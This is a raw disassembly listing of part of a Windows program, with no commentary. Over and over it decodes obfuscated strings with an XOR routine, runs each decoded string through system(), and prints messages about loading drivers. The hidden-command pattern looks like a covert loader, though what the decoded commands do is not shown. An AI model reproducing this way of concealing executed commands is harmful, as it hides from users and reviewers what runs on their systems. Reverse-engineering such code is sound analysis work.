jmp 0x1400518b3
lea r9, [rbp - 0x4d]
mov r8d, r13d
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140051880
lea rcx, [rbp - 0x4d]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x468], xmm0
mov qword [rbp + 0x478], rdi
mov qword [rbp + 0x480], reloc.WS2_32.dll_ntohs
mov rax, qword [str._Done_2]
mov dword [rbp + 0x468], eax
movzx eax, word [0x1400acbd4]
mov word [rbp + 0x46c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rbp + 0x46e], al
mov byte [rbp + 0x46f], 0
mov dword [rbp + 0x488], Ordinal_32
lea rdx, [rbp + 0x468]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488b0
nop
lea rcx, [rbp + 0x468]
call fcn.140009970
mov eax, dword [0x1400abda0]
mov dword [rbp - 0x49], eax
cmp byte [0x1400abda3], 0
je 0x140051a23
cmp r12d, 2
jl 0x1400519da
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x49], xmm2
jmp 0x140051a23
lea r9, [rbp - 0x49]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400519f0
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], rdi
mov qword [rbp + 0x4a8], reloc.WS2_32.dll_ntohs
mov rax, qword [str._Done_3]
mov dword [rbp + 0x490], eax
movzx eax, word [0x1400acbdc]
mov word [rbp + 0x494], ax
movzx eax, byte [0x1400acbde]
mov byte [rbp + 0x496], al
mov byte [rbp + 0x497], 0
mov dword [rbp + 0x4b0], Ordinal_32
lea rdx, [rbp + 0x490]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488b0
nop
lea rcx, [rbp + 0x490]
call fcn.140009970
mov eax, dword [0x1400abda4]
mov dword [rbp - 0x45], eax
cmp byte [0x1400abda7], 0
je 0x140051b93
cmp r12d, 2
jl 0x140051b4a
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x45], xmm2
jmp 0x140051b93
lea r9, [rbp - 0x45]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140051b60
lea rcx, [rbp - 0x45]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x828], xmm0
mov qword [rbp + 0x838], r13
mov qword [rbp + 0x840], r13
mov r8, rdi
lea rdx, str._Done_4
lea rcx, [rbp + 0x828]
call fcn.1400468f0
mov dword [rbp + 0x848], Ordinal_32
lea rdx, [rbp + 0x828]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x828]
call fcn.140009970
mov eax, dword [0x1400abda8]
mov dword [rbp - 0x41], eax
cmp byte [0x1400abdab], 0
je 0x140051ce3
cmp r12d, 2
jl 0x140051ca0
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x41], xmm2
jmp 0x140051ce3
lea r9, [rbp - 0x41]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140051cb0
lea rcx, [rbp - 0x41]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x850], xmm0
mov qword [rbp + 0x860], r13
mov qword [rbp + 0x868], r13
mov r8, rdi
lea rdx, str._Done_5
lea rcx, [rbp + 0x850]
call fcn.1400468f0
mov dword [rbp + 0x870], Ordinal_32
lea rdx, [rbp + 0x850]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x850]
call fcn.140009970
mov eax, dword [0x1400abdac]
mov dword [rbp - 0x3d], eax
cmp byte [0x1400abdaf], 0
je 0x140051e33
cmp r12d, 2
jl 0x140051df0
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x3d], xmm2
jmp 0x140051e33
lea r9, [rbp - 0x3d]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140051e00
lea rcx, [rbp - 0x3d]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x878], xmm0
mov qword [rbp + 0x888], r13
mov qword [rbp + 0x890], r13
mov r8, rdi
lea rdx, str._Done_6
lea rcx, [rbp + 0x878]
call fcn.1400468f0
mov dword [rbp + 0x898], Ordinal_32
lea rdx, [rbp + 0x878]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x878]
call fcn.140009970
mov eax, dword [0x1400abdb0]
mov dword [rbp - 0x39], eax
cmp byte [0x1400abdb3], 0
je 0x140051f83
cmp r12d, 2
jl 0x140051f40
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x39], xmm2
jmp 0x140051f83
lea r9, [rbp - 0x39]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140051f50
lea rcx, [rbp - 0x39]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x2a8], rdi
mov qword [rbp + 0x2b0], reloc.WS2_32.dll_ntohs
mov rax, qword [str._Done_7]
mov dword [rbp + 0x298], eax
movzx eax, word [0x1400acbfc]
mov word [rbp + 0x29c], ax
movzx eax, byte [0x1400acbfe]
mov byte [rbp + 0x29e], al
mov byte [rbp + 0x29f], 0
mov dword [rbp + 0x2b8], Ordinal_32
lea rdx, [rbp + 0x298]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488b0
nop
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 0x10
jb 0x140052037
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052032
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140054b43
call fcn.1400a24cc
mov qword [rbp + 0x2a8], r13
mov qword [rbp + 0x2b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x298], 0
mov eax, dword [0x1400abdb4]
mov dword [rbp - 0x35], eax
cmp byte [0x1400abdb7], 0
je 0x140052133
cmp r12d, 2
jl 0x1400520f8
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x35], xmm2
jmp 0x140052133
lea r9, [rbp - 0x35]
mov r8d, r13d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140052100
lea rcx, [rbp - 0x35]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b8], xmm0
mov qword [rbp + 0x4c8], rdi
mov qword [rbp + 0x4d0], reloc.WS2_32.dll_ntohs
mov rax, qword [str._Done_8]
mov dword [rbp + 0x4b8], eax
movzx eax, word [0x1400acc04]
mov word [rbp + 0x4bc], ax
movzx eax, byte [0x1400acc06]
mov byte [rbp + 0x4be], al
mov byte [rbp + 0x4bf], 0
mov dword [rbp + 0x4d8], Ordinal_32
lea rdx, [rbp + 0x4b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488b0
nop
lea rcx, [rbp + 0x4b8]
call fcn.140009970
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [0x1400abdb8]
mov dword [rbp - 0x31], eax
cmp byte [0x1400abdbb], 0
je 0x1400522b3
cmp r12d, 2
jl 0x140052272
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x31], xmm2
jmp 0x1400522b3
lea r9, [rbp - 0x31]
mov r8d, r13d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140052280
lea rcx, [rbp - 0x31]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov eax, dword [0x1400abdbc]
mov dword [rbp - 0x2d], eax
cmp byte [0x1400abdbf], 0
je 0x1400523b3
cmp r12d, 2
jl 0x140052372
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x2d], xmm2
jmp 0x1400523b3
lea r9, [rbp - 0x2d]
mov r8d, r13d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140052380
lea rcx, [rbp - 0x2d]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c0], xmm0
mov qword [rbp + 0x6d0], r13
mov qword [rbp + 0x6d8], r13
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.___Loaded_Drivers
lea rcx, [rbp + 0x6c0]
call fcn.1400468f0
mov dword [rbp + 0x6e0], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x6c0]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x6c0]
call fcn.140009970
jmp 0x14004f450
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e0], xmm0
mov qword [rbp + 0x4f0], r13
mov qword [rbp + 0x4f8], reloc.WS2_32.dll_ntohs
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x4e0]
call fcn.14000a6b0
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4f0], Ordinal_32
mov qword [rbp + 0x4f8], rsi
movups xmm0, xmmword [str._Load_First_driver..._n_n_n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400aca10]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0
mov dword [rbp + 0x500], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x4e0]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x4e0]
call fcn.140009970
movups xmm0, xmmword [0x1400abdc0]
movups xmmword [rbp + 0xfa0], xmm0
movups xmm1, xmmword [0x1400abdd0]
movups xmmword [rbp + 0xfb0], xmm1
movups xmm0, xmmword [0x1400abde0]
movups xmmword [rbp + 0xfc0], xmm0
movups xmm1, xmmword [0x1400abdf0]
movups xmmword [rbp + 0xfd0], xmm1
movups xmm0, xmmword [0x1400abe00]
movups xmmword [rbp + 0xfe0], xmm0
movups xmm1, xmmword [0x1400abe10]
movups xmmword [rbp + 0xff0], xmm1
movups xmm0, xmmword [0x1400abe20]
movups xmmword [rbp + 0x1000], xmm0
movups xmm1, xmmword [0x1400abe30]
movups xmmword [rbp + 0x1010], xmm1
movups xmm0, xmmword [0x1400abe40]
movups xmmword [rbp + 0x1020], xmm0
mov eax, dword [0x1400abe50]
mov dword [rbp + 0x1030], eax
movzx eax, word [0x1400abe54]
mov word [rbp + 0x1034], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1400526b1
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xfa4]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400525a0
cmp r8d, 0x96
jge 0x1400526f6
movsxd rax, r8d
lea r9, [rbp + 0xfa0]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400526c0
lea rcx, [rbp + 0xfa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.SD__]
movups xmmword [rbp + 0x8a0], xmm0
movups xmm0, xmmword [0x1400abe80]
movups xmm1, xmmword [0x1400abe70]
movups xmmword [rbp + 0x8c0], xmm0
movups xmmword [rbp + 0x8b0], xmm1
movups xmm0, xmmword [0x1400abea0]
movups xmm1, xmmword [0x1400abe90]
movups xmmword [rbp + 0x8e0], xmm0
movups xmmword [rbp + 0x8d0], xmm1
mov eax, dword [0x1400abef0]
movups xmm0, xmmword [0x1400abec0]
movups xmm1, xmmword [0x1400abeb0]
mov dword [rbp + 0x930], eax
movups xmmword [rbp + 0x900], xmm0
movups xmmword [rbp + 0x8f0], xmm1
movzx eax, byte [0x1400abef4]
movups xmm0, xmmword [0x1400abee0]
movups xmm1, xmmword [0x1400abed0]
mov byte [rbp + 0x934], al
movups xmmword [rbp + 0x920], xmm0
movups xmmword [rbp + 0x910], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x1400528f3
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x8a4]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400527e2
cmp r8d, 0x95
jge 0x140052936
movsxd rax, r8d
lea r9, [rbp + 0x8a0]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x95
jl 0x140052900
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movzx eax, word [0x1400abf40]
movups xmm1, xmmword [0x1400abf10]
movups xmm0, xmmword [0x1400abf00]
mov word [rbp + 0x548], ax
movups xmmword [rbp + 0x518], xmm1
movups xmmword [rbp + 0x508], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
movups xmm1, xmmword [0x1400abf30]
movups xmm0, xmmword [0x1400abf20]
mov byte [rbp + 0x54a], al
movups xmmword [rbp + 0x538], xmm1
movups xmmword [rbp + 0x528], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140052afb
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x50c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400529f0
cmp r8d, 0x43
jge 0x140052b43
movsxd rax, r8d
lea r9, [rbp + 0x508]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
